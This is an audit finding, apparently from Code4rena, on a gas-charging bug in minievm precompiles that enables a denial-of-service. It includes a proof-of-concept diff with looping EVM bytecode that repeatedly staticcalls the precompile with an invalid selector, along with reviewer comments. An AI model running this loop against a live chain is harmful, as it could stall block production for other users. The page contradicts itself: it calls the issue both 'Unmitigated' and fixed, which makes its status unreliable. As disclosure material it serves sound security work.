Precompiles fail to charge gas in case of an error leading to a DOS vector
The custom precompiles in minievm charge gas based on input length only after successfully decoding the method selector and arguments. If decoding fails, the precompile returns an error without charging that gas, allowing a contract to repeatedly call the precompile with an invalid selector and consume little gas per iteration, leading to long execution times and a potential denial-of-service vector.
Originally disclosed on Code4rena
Submitted by berndartmueller
Finding description and impact
The custom precompiles in minievm are called via ExtendedRun(..) from the EVM.
Gas is charged based on the input length and a constant GAS_PER_BYTE. However, if either no ABI method is found or the input cannot be unpacked, the precompile returns an error in lines 84 or 89 without charging any gas.
In this case, it is possible to craft a transaction that can take a long time to execute, causing the expected block time to be exceeded and leading to a DOS vector for the network.
minievm:x/evm/precompiles/jsonutils/contract.go#L82-L93
55: func (e *JSONUtilsPrecompile) ExtendedRun(caller vm.ContractRef, input []byte, suppliedGas uint64, readOnly bool) (resBz []byte, usedGas uint64, err error) {
... // [...]
81:
82: method, err := e.ABI.MethodById(input)
83: if err != nil {
84: return nil, 0, types.ErrPrecompileFailed.Wrap(err.Error())
85: }
86:
87: args, err := method.Inputs.Unpack(input[4:])
88: if err != nil {
89: return nil, 0, types.ErrPrecompileFailed.Wrap(err.Error())
90: }
91:
92: // charge input gas
93: ctx.GasMeter().ConsumeGas(storetypes.Gas(len(input))*GAS_PER_BYTE, "input bytes")
According to the Initia docs, block times are planned to be 500ms.
Proof of Concept
The following PoC demonstrates how a very simplistic loop contract (bytecode returned by getLoopBytecode()) repeatedly staticcalls the jsonutils precompile with an unknown function selector (so that it does not charge gas that is relative to the input length in line 93) until it runs out of gas. But by doing so, the execution time is significantly greater than the charged gas can compensate for.
Considering a 30M block gas limit, the loop contract execution can take +2s (on a maxed-out MacBook Pro M2)!
Please note that for simplicity, the loop contract is not regularly deployed, instead, EVMCallWithTracer() is modified to set the loop contract bytecode at the address 0x0200. This does not affect the legitimacy of the PoC.
diff --git a/x/evm/keeper/context.go b/x/evm/keeper/context.go
--- x/evm/keeper/context.go
+++ x/evm/keeper/context.go
@@ -272,8 +272,27 @@
func (k Keeper) EVMCall(ctx context.Context, caller common.Address, contractAddr common.Address, inputBz []byte, value *uint256.Int, accessList coretype.AccessList) ([]byte, types.Logs, error) {
return k.EVMCallWithTracer(ctx, caller, contractAddr, inputBz, value, accessList, nil)
}
+func getLoopBytecode() string {
+ /**
+ PUSH4 arbitrarySelector
+ PUSH0
+ MSTORE
+ PUSH0
+ JUMPDEST
+ PUSH0
+ PUSH1 0x20
+ PUSH1 0x1c
+ PUSH1 0xf3
+ PUSH0
+ STATICCALL
+ PUSH1 0x08
+ JUMP
+ **/
+ return "63762ECA335F525F5B5F6020601C60F35FFA600856"
+}
+
// EVMCallWithTracer executes an EVM call with the given input data and tracer.
func (k Keeper) EVMCallWithTracer(ctx context.Context, caller common.Address, contractAddr common.Address, inputBz []byte, value *uint256.Int, accessList coretype.AccessList, tracer *tracing.Hooks) ([]byte, types.Logs, error) {
ctx, evm, err := k.CreateEVM(ctx, caller, tracer)
if err != nil {
@@ -285,8 +304,13 @@
if value == nil {
value = uint256.NewInt(0)
}
+ // deploy loop contract
+ loopBytecode := getLoopBytecode()
+ var loopAddress = common.HexToAddress("0200")
+ evm.StateDB.SetCode(loopAddress, common.Hex2Bytes(loopBytecode))
+
rules := evm.ChainConfig().Rules(evm.Context.BlockNumber, evm.Context.Random != nil, evm.Context.Time)
evm.StateDB.Prepare(rules, caller, types.NullAddress, &contractAddr, k.precompileAddrs(rules), accessList)
retBz, gasRemaining, err := evm.Call(
diff --git a/x/evm/keeper/context_test.go b/x/evm/keeper/context_test.go
--- x/evm/keeper/context_test.go
+++ x/evm/keeper/context_test.go
@@ -3,10 +3,12 @@
import (
"fmt"
"strings"
"testing"
+ "time"
"cosmossdk.io/math"
+ storetypes "cosmossdk.io/store/types"
"github.com/ethereum/go-ethereum/common"
"github.com/ethereum/go-ethereum/common/hexutil"
"github.com/ethereum/go-ethereum/core/vm"
"github.com/ethereum/go-ethereum/eth/tracers/logger"
@@ -140,8 +142,36 @@
_, _, err = input.EVMKeeper.EVMCall(ctx, caller, contractAddr, queryInputBz, nil, nil)
require.ErrorContains(t, err, types.ErrReverted.Error())
}
+func Test_Call_Audit_Precompile(t *testing.T) {
+ var loopAddress = common.HexToAddress("0200")
+
+ ctx, input := createDefaultTestInput(t)
+ _, _, addr := keyPubAddr()
+
+ caller := common.BytesToAddress(addr.Bytes())
+
+ // set custom gas meter with 30M gas limit
+ ctx = ctx.WithGasMeter(storetypes.NewGasMeter(30_000_000))
+
+ start := time.Now()
+ gasStart := ctx.GasMeter().GasConsumed()
+
+ res, logs, err := input.EVMKeeper.EVMCall(ctx, caller, loopAddress, []byte{}, nil, nil)
+
+ elapsed := time.Since(start)
+ gasUsed := ctx.GasMeter().GasConsumed() - gasStart
+
+ fmt.Printf("execution time: %s\n", elapsed)
+ fmt.Printf("gas used: %d\n", gasUsed)
+
+ require.NoError(t, err)
+ require.Empty(t, res)
+ require.Empty(t, logs)
+ require.False(t, true) // @audit forcing test to fail to display logs
+}
+
func Test_GetHash(t *testing.T) {
ctx, input := createDefaultTestInput(t)
_, _, addr := keyPubAddr()
Running the test shows the execution time and gas used:
execution time: 2.138438458s
gas used: 30000000
Recommended mitigation steps
Consider charging some kind of static gas for each such precompile call, before erroring out. Or, charge the input gas before returning the error in lines 84 or 89.
Seems go-ethereum is already charging the static cost here. This is more related with this issue.
This was fixed here.
This is more related with this issue.
Agreed, per Supreme Court decisions.
berndartmueller (warden) commented:
While this submission and S-151 are both talking about gas consumption issues, the submission here is unrelated. Considering that the provided fix mitigates S-151, it would not fix this issue here.
Here, it’s basically that consuming gas in L93 (
ctx.GasMeter().ConsumeGas(storetypes.Gas(len(input))*GAS_PER_BYTE, "input bytes")) is done after:
- Calling
MethodById(), which looks up a method by the 4-byte selector.- Calling
Unpack(), which unmarshals the[]byteinput into the correspondingargsinterface (e.g.,MergeJSONArguments).Both calls can error, in which the precompile returns early without charging the input gas.
Seems go-ethereum is already charging the static cost here.
CallGasEIP150 = 700is not actually charged. Since EIP-2929,WARM_STORAGE_READ_COST = 100is charged for warm (repeated)STATICCALL(and others).Logging the gas cost for each
STATICCALLiteration in the loop contract reveals that it costs 125 gas each round.As seen in the PoC, it results in a potentially long-running tx execution (
~2.13s). The static (constant) gas cost seems insufficient to prevent such scenarios.Overall, I recommend following my recommendation to charge the input gas in the precompile before erroring. I would also appreciate if the judge could re-evaluate the duplication and eventually consider it a separate finding.
Thanks for the clarification. I agree that this makes sense as a separate issue.
Changed to return exact error only at
simulateorchecktx.
Status: Unmitigated. Full details in reports from berndartmueller, 0xAlix2 and Franfran, and also included in the Mitigation Review section below.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
A transaction could take significantly longer than the planned block time, potentially causing a denial-of-service vector for the network.
What the attacker needed
Ability to deploy a contract; ability to send transactions
The fix
The issue was fixed by returning the exact error only at simulate or checktx, according to the mitigation note.
How it was found
- Deploy a loop contract that repeatedly staticcalls the jsonutils precompile with an unknown function selector.
- Execute the loop contract with a 30M gas limit.
- Observe that execution takes over 2 seconds while consuming the full gas limit.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A precompile is a built-in contract that runs native code. Gas is the fee paid for computation. The code checked the input and returned an error before charging the gas for the input size, so an attacker could make many cheap calls that each took time to process, slowing down the network.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.